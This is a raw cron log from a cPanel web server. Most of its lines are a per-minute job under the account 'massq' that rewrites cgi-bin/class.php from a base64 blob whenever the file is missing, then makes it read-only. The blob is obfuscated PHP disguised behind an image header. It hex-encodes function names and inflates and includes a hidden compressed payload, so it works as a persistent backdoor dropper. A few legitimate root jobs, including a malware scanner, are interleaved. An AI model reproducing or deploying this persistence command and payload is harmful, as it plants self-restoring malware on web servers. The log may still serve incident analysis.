Nov 11 18:06:01 server CROND[31896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:07:01 server CROND[32699]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:08:01 server CROND[1060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:09:01 server CROND[1972]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 18:09:01 server CROND[1973]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:10:01 server CROND[2804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:10:01 server CROND[2805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:10:01 server CROND[2806]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 18:10:01 server CROND[2807]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:11:01 server CROND[3666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:12:01 server CROND[4479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:12:01 server CROND[4480]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 18:13:01 server CROND[5291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:14:01 server CROND[6166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:15:01 server CROND[6973]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:15:01 server CROND[6975]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:15:01 server CROND[6976]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:15:01 server CROND[6980]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:15:01 server CROND[6982]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:16:01 server CROND[7862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:17:01 server CROND[8771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:18:01 server CROND[9655]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
